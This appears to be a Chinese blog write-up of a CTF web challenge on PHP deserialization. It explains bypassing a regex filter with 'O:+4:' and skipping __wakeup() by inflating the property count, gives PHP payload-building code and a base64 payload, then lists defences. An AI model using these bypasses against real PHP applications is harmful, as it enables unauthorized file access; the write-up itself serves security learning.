生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功获得flag
当执行反序列化时,使用正则'/[oc]:\d+:/i'
进行拦截时,主要拦截O:数字:的反序列化字符串,那要怎么绕过呢???
php反序列化时O:+4:和O:4:的解析是一样的,具体是php的内核是这么写的
所以可以通过加+来进行绕过
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打开题目是源代码:
所以构造payload来进行绕过: <?php class Demo { private $file = 'fl4g.php'; } $x= serialize(new Demo); $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match() $x=str_replace(':1:', ':3:',$x);//绕过__wakeup() echo base64_encode($x); ?>
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var传入即可获得flag
如果这里没有base64加密,我么也需要进行url编码,因为demo中private为私有属性,反序列化会出现不可见字符,所以要进行url编码
尽量不要用序列化来传输数据
不要相信用户传入数据,或者不让用户传入完整的序列化类型,进行过滤
隔离运行在低权限环境中的反序列化,记录反序列化异常和失败,例如传入类型不是预期类型,或者反序列化引发异常,限制或监视来自反序列化的容器或服务器的传入和传出网络连接,限制或监视来自反序列化的容器或服务器的传入和传出网络连接。监视反序列化,如果用户不断地反序列化,则发出警报。
参考文章及说明参考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
《从从0到1 ctfer的成长之路》
最后欢迎访问我的个人博客:https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担